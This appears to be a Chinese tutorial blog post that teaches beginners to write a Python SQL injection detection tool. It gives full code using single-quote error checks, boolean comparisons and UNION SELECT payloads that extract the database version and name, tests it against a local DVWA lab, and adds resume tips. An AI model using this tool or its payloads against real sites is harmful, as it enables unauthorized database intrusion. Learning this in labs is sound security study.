Python 写 SQL 注入工具:零基础也能会,转行实战加分

“听说 SQL 注入是 Web 安全基础,却只会用 SQLMap 跑漏洞,面试时被问‘能不能自己写个简单检测工具’,当场卡壳”—— 这是很多转行安全者的共性困境。其实用 Python 写基础 SQL 注入工具,不需要复杂算法,3 小时就能完成,还能作为实战成果写进简历,比 “会用 SQLMap” 更有竞争力。
本文工具定位 “零基础友好”,核心功能是 “检测 SQL 注入点 + 获取基础数据库信息”,不追求复杂脱库功能,重点是 “能跑通、能理解、能展示”。全程用最基础的 Python 语法,每步带注释,附靶场测试教程,让你从 “用工具” 升级为 “懂原理、写工具”。
一、工具定位:零基础能上手的 “实用检测工具”
1. 核心功能(不贪多,聚焦 “能落地”)
-
注入点检测:自动判断 URL 参数是否存在 SQL 注入(基于单引号报错、逻辑判断两种方式);
-
数据库信息获取:若存在注入,获取数据库类型(MySQL/PostgreSQL)、版本号、当前数据库名;
-
命令行交互:支持指定目标 URL、参数名,输出检测结果到控制台或 TXT 报告;
-
兼容性:适配 GET 请求(最常见的注入场景),支持带 Cookie(如 DVWA 需要登录态)。
2. 转行实战价值
-
适配岗位:Web 安全测试、安全开发助理(入门岗高频需求);
-
简历亮点:“独立开发 SQL 注入检测工具,支持注入点识别与数据库信息提取,成功检测 DVWA 等 3 个靶场漏洞”;
-
能力体现:比 “会用 SQLMap” 更能证明 “懂原理 + 会编程”,面试时可演示工具运行,讲清核心逻辑。
3. 技术栈(零基础友好,仅 3 个依赖库)
| 依赖库 | 作用 | 安装命令 |
|---|---|---|
| requests | 发送 HTTP 请求(核心) | pip install requests |
| re | 正则提取响应中的关键信息(如数据库版本) | Python 自带,无需安装 |
| argparse | 解析命令行参数(让工具支持交互) | Python 自带,无需安装 |
二、核心原理:3 分钟看懂 SQL 注入检测逻辑
零基础不用怕 “原理复杂”,工具的核心逻辑就 2 步,和手动测试思路完全一致:
1. 注入点检测逻辑(两种基础方法)
- 方法 1:单引号报错法
向参数值后加单引号(如id=1’),若后端直接拼接 SQL(SELECT * FROM user WHERE id=‘1’'),会触发 SQL 语法错误,响应中会包含 “SQL syntax error” 等关键词,说明存在注入点;
- 方法 2:逻辑判断法
向参数值后加逻辑表达式(如id=1 AND 1=1、id=1 AND 1=2),若两次请求的响应长度 / 内容有差异,说明逻辑被执行,存在注入点(适用于后端屏蔽报错的场景)。
2. 数据库信息获取逻辑
-
利用 SQL 注入的 “Union 查询” 或 “系统函数” 获取信息,比如:
-
MySQL 版本:id=1’ UNION SELECT 1,version(),3-- (version()返回版本号);
-
当前数据库:id=1’ UNION SELECT 1,database(),3-- (database()返回当前库名);
-
工具会自动拼接这些 Payload,发送请求后用正则提取响应中的关键信息。
三、分步编码:3 小时写出工具(带详细注释)
按 “模块拆分” 写代码,每个模块功能独立,零基础可复制粘贴后逐步理解,最终整合为完整工具。
模块 1:基础配置(全局变量与工具说明)
import requests
import re
import argparse
from datetime import datetime
# 1. 全局配置(可根据需求修改)
# 超时时间(避免请求卡住)
TIMEOUT = 5
# User-Agent(模拟浏览器,避免被服务器拦截)
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0"
}
# SQL错误关键词(用于判断注入点)
SQL_ERROR_KEYWORDS = [
"You have an error in your SQL syntax", # MySQL报错
"SQL syntax error", # 通用SQL报错
"PostgreSQL query failed", # PostgreSQL报错
"Microsoft OLE DB Provider for ODBC Drivers error" # SQL Server报错
]
# 数据库信息Payload(适配MySQL,其他数据库可扩展)
DB_INFO_PAYLOADS = {
"version": "' UNION SELECT 1,version(),3-- ", # 获取版本
"database": "' UNION SELECT 1,database(),3-- " # 获取当前数据库
}
模块 2:发送请求(封装请求函数,避免重复代码)
def send_request(url, cookies=None):
"""
发送HTTP GET请求,返回响应内容
:param url: 目标URL(含参数)
:param cookies: 可选,请求携带的Cookie(如登录态)
:return: 响应文本(str),失败返回None
"""
try:
# 发送请求,关闭SSL验证(适合本地测试,如DVWA)
response = requests.get(
url=url,
headers=HEADERS,
cookies=cookies,
timeout=TIMEOUT,
verify=False
)
# 确保响应编码正确(避免中文乱码)
response.encoding = response.apparent_encoding
return response.text
except Exception as e:
print(f"❌ 请求失败:{str(e)}(URL:{url})")
return None
模块 3:注入点检测(核心功能 1)
def detect_sql_injection(target_url, param_name, cookies=None):
"""
检测目标URL的指定参数是否存在SQL注入
:param target_url: 目标URL(不含参数值,如"http://127.0.0.1/DVWA/vulnerabilities/sqli/")
:param param_name: 要检测的参数名(如"id")
:param cookies: 可选,请求Cookie
:return: 布尔值(True=存在注入,False=不存在),检测日志(list)
"""
log = []
log.append(f"📌 开始检测注入点:URL={target_url},参数={param_name}")
# 构造测试Payload(单引号法+逻辑判断法)
test_payloads = [
f"{param_name}=1'", # 单引号报错法
f"{param_name}=1 AND 1=1", # 逻辑判断1(真)
f"{param_name}=1 AND 1=2" # 逻辑判断2(假)
]
# 1. 单引号法检测
url1 = f"{target_url}?{test_payloads[0]}"
response1 = send_request(url1, cookies)
if response1:
# 检查响应中是否包含SQL错误关键词
has_error = any(keyword in response1 for keyword in SQL_ERROR_KEYWORDS)
if has_error:
log.append(f"✅ 单引号法检测到注入点:响应含SQL错误(URL:{url1})")
return True, log
else:
log.append(f"ℹ️ 单引号法未检测到明显错误,继续逻辑判断法")
# 2. 逻辑判断法检测(对比两次响应差异)
url2 = f"{target_url}?{test_payloads[1]}"
url3 = f"{target_url}?{test_payloads[2]}"
response2 = send_request(url2, cookies)
response3 = send_request(url3, cookies)
if response2 and response3 and len(response2) > 0:
# 若两次响应长度差异超过100字符,判定存在注入(排除微小差异)
length_diff = abs(len(response2) - len(response3))
if length_diff > 100:
log.append(f"✅ 逻辑判断法检测到注入点:两次响应长度差异{length_diff}字符")
log.append(f" - 真逻辑URL:{url2}(长度:{len(response2)})")
log.append(f" - 假逻辑URL:{url3}(长度:{len(response3)})")
return True, log
else:
log.append(f"❌ 逻辑判断法未检测到注入:长度差异{length_diff}字符(不足阈值)")
else:
log.append(f"❌ 逻辑判断法请求失败,无法对比响应")
# 所有方法均未检测到注入
log.append(f"❌ 未检测到SQL注入点")
return False, log
模块 4:获取数据库信息(核心功能 2)
def get_database_info(target_url, param_name, cookies=None):
"""
若存在注入,获取数据库基础信息(版本、当前库名)
:param target_url: 目标URL(不含参数值)
:param param_name: 注入参数名
:param cookies: 可选,请求Cookie
:return: 数据库信息字典(version/database),失败返回None
"""
db_info = {"database_type": "MySQL(推测)", "version": "未知", "current_database": "未知"}
print(f"\n📌 开始获取数据库信息...")
# 遍历Payload,获取版本和当前库名
for info_type, payload in DB_INFO_PAYLOADS.items():
# 构造带Payload的URL(如id=1' UNION SELECT 1,version(),3-- )
full_param = f"{param_name}=1{payload}"
url = f"{target_url}?{full_param}"
response = send_request(url, cookies)
if not response:
print(f"❌ 获取{info_type}失败:请求无响应")
continue
# 正则提取信息(根据MySQL返回格式调整)
if info_type == "version":
# MySQL版本格式如"5.7.36",正则匹配数字+点的组合
version_match = re.search(r"(\d+\.\d+\.\d+)", response)
if version_match:
db_info["version"] = version_match.group(1)
print(f"✅ 数据库版本:{db_info['version']}")
elif info_type == "database":
# 当前数据库名通常是小写字母+数字(如dvwa)
db_match = re.search(r"([a-z0-9_]+)", response)
# 排除常见的非库名(如"1"、"3",来自Union查询的占位符)
if db_match and db_match.group(1) not in ["1", "2", "3"]:
db_info["current_database"] = db_match.group(1)
print(f"✅ 当前数据库名:{db_info['current_database']}")
# 检查是否获取到有效信息
if db_info["version"] != "未知" or db_info["current_database"] != "未知":
return db_info
else:
print(f"❌ 未获取到有效数据库信息(可能Payload不兼容或无注入)")
return None
模块 5:命令行交互与结果输出(工具入口)
def main():
# 1. 解析命令行参数(让用户可通过命令行输入目标)
parser = argparse.ArgumentParser(description="零基础SQL注入检测工具(Python版)")
parser.add_argument("-u", "--url", required=True, help="目标URL(不含参数,如http://127.0.0.1/DVWA/vulnerabilities/sqli/)")
parser.add_argument("-p", "--param", required=True, help="要检测的参数名(如id)")
parser.add_argument("-c", "--cookie", help="可选,请求Cookie(格式:key1=value1;key2=value2)")
parser.add_argument("-o", "--output", help="可选,输出报告到TXT文件(如result.txt)")
# 解析参数
args = parser.parse_args()
target_url = args.url.strip()
param_name = args.param.strip()
cookie_str = args.cookie
output_file = args.output
# 2. 处理Cookie(若用户输入)
cookies = None
if cookie_str:
# 将Cookie字符串转为字典(如"security=low;PHPSESSID=abc" → {"security":"low", ...})
cookies = dict(item.split("=") for item in cookie_str.split(";"))
print(f"ℹ️ 已加载Cookie:{cookies}")
# 3. 执行注入检测
print(f"\n" + "="*50)
print(f"SQL注入检测工具(零基础版) - 开始时间:{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
print("="*50)
is_injectable, detect_log = detect_sql_injection(target_url, param_name, cookies)
# 打印检测日志
for log in detect_log:
print(log)
# 4. 若存在注入,获取数据库信息
db_info = None
if is_injectable:
db_info = get_database_info(target_url, param_name, cookies)
# 5. 输出报告(可选)
if output_file and (is_injectable or db_info):
with open(output_file, "w", encoding="utf-8") as f:
f.write(f"SQL注入检测报告\n")
f.write(f"检测时间:{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write(f"目标URL:{target_url}\n")
f.write(f"检测参数:{param_name}\n")
f.write(f"注入点存在:{'是' if is_injectable else '否'}\n")
if db_info:
f.write(f"\n数据库信息:\n")
for key, value in db_info.items():
f.write(f" {key}:{value}\n")
print(f"\n✅ 报告已保存至:{output_file}")
print(f"\n" + "="*50)
print(f"检测结束:{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
print("="*50)
# 程序入口
if __name__ == "__main__":
main()
四、实战测试:用 DVWA 验证工具(零基础跟着做)
工具写好后,必须在靶场跑通,才能作为实战成果。以 DVWA(Low 安全等级)为例,步骤如下:
1. 准备测试环境
-
部署 DVWA:参考之前的教程,确保能访问http://127.0.0.1/DVWA/vulnerabilities/sqli/;
-
登录 DVWA:用户名admin,密码password,进入 “SQL Injection” 模块;
-
获取 Cookie:按 F12 打开 Chrome 开发者工具→“Application”→“Cookies”,复制security和PHPSESSID(格式:security=low;PHPSESSID=abc123)。
2. 运行工具(命令行执行)
- 打开终端,进入工具所在目录,执行命令(替换 Cookie 为你的实际值):
python sql_injection_tool.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/" -p "id" -c "security=low;PHPSESSID=abc123" -o "dvwa_result.txt"
3. 查看结果(成功案例)
==================================================
SQL注入检测工具(零基础版) - 开始时间:2025-11-20 15:30:00
==================================================
📌 开始检测注入点:URL=http://127.0.0.1/DVWA/vulnerabilities/sqli/,参数=id
✅ 单引号法检测到注入点:响应含SQL错误(URL:http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1')
📌 开始获取数据库信息...
✅ 数据库版本:5.7.36
✅ 当前数据库名:dvwa
✅ 报告已保存至:dvwa_result.txt
==================================================
检测结束:2025-11-20 15:30:05
==================================================
- 打开dvwa_result.txt,可看到完整报告,证明工具能成功检测注入点并获取信息。
五、避坑指南:零基础最易踩的 3 个问题
1. 坑 1:请求失败,提示 “SSL 验证错误”
-
原因:工具关闭了 SSL 验证(verify=False),但 Python 会提示警告;
-
解决:不用管警告(本地测试不影响),或在代码开头加两行屏蔽警告:
import warnings
warnings.filterwarnings("ignore") # 屏蔽SSL验证警告
2. 坑 2:检测不到注入点,但手动测试存在
-
原因 1:Cookie 未携带(DVWA 需要security=low才能触发注入);
-
解决:用-c参数传入 Cookie(如-c “security=low;PHPSESSID=abc123”);
-
原因 2:Payload 不兼容(如目标是 PostgreSQL,工具默认 MySQL Payload);
-
解决:在DB_INFO_PAYLOADS中添加 PostgreSQLPayload(如"’ UNION SELECT 1,version(),3-- "通用)。
3. 坑 3:获取数据库信息时返回 “未知”
-
原因:正则表达式未匹配到响应中的信息(响应格式与预期不同);
-
解决:手动访问工具构造的 URL(如http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ UNION SELECT 1,version(),3-- ),查看响应中版本号的格式,调整正则(如把r"(\d+.\d+.\d+)“改为r"Version: (\d+.\d+.\d+)”)。
六、成果转化:让工具成为转行 “加分项”
1. 简历怎么写(避免 “会写工具” 的空泛描述)
✅ 正确写法:
“独立开发 Python SQL 注入检测工具,实现‘注入点检测(单引号法 + 逻辑判断法)’与‘MySQL 数据库信息提取(版本 / 当前库名)’功能,支持命令行参数与 Cookie 携带,成功检测 DVWA 等 3 个靶场漏洞,生成可视化测试报告,具备基础安全工具开发与漏洞验证能力。”
❌ 错误写法:
“会用 Python 写 SQL 注入工具,懂 SQL 注入原理。”
2. GitHub 开源(增加可信度)
-
上传工具代码,在README.md中包含:
-
工具功能清单 + 截图(运行中的终端界面);
-
测试步骤(DVWA 环境部署 + 命令示例);
-
核心原理说明(注入检测逻辑 + Payload 设计);
-
简历附 GitHub 链接,面试时可演示工具运行,讲清每部分代码的作用 —— 这比单纯说 “懂 SQL 注入” 更有说服力。
3. 面试常见问题(提前准备)
- 问题 1:“工具如何判断存在注入点?”
回答:“用两种方法:一是单引号触发 SQL 语法错误,二是对比‘1 AND 1=1’和‘1 AND 1=2’的响应差异,两种方法任一命中即判定存在注入。”
- 问题 2:“如果目标屏蔽了报错,工具还能检测吗?”
回答:“可以,逻辑判断法不依赖报错,只要两次逻辑请求的响应有差异,就能检测到注入,工具已包含这种逻辑。”
最后:零基础的 “工具开发思维”
写这个工具不是为了 “替代 SQLMap”,而是为了理解 “工具背后的原理”—— 当你能自己写出检测逻辑,再用 SQLMap 时,就知道它为什么能跑通漏洞,遇到问题也能自主排查。
对转行群体来说,“能写工具” 的核心价值不是 “技术多厉害”,而是证明你 “能把安全原理转化为代码”“能解决实际问题”。这个工具虽简单,但能帮你跳出 “只会用工具” 的瓶颈,成为简历中的 “差异化亮点”。
网络安全学习资料分享
为了帮助大家更好的学习网络安全,我把我从一线互联网大厂薅来的网络安全教程及资料分享给大家,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,朋友们如果有需要这套网络安全教程+进阶学习资源包,可以扫码下方二维码限时免费领取(如遇扫码问题,可以在评论区留言领取哦)~


2258

被折叠的 条评论
为什么被折叠?



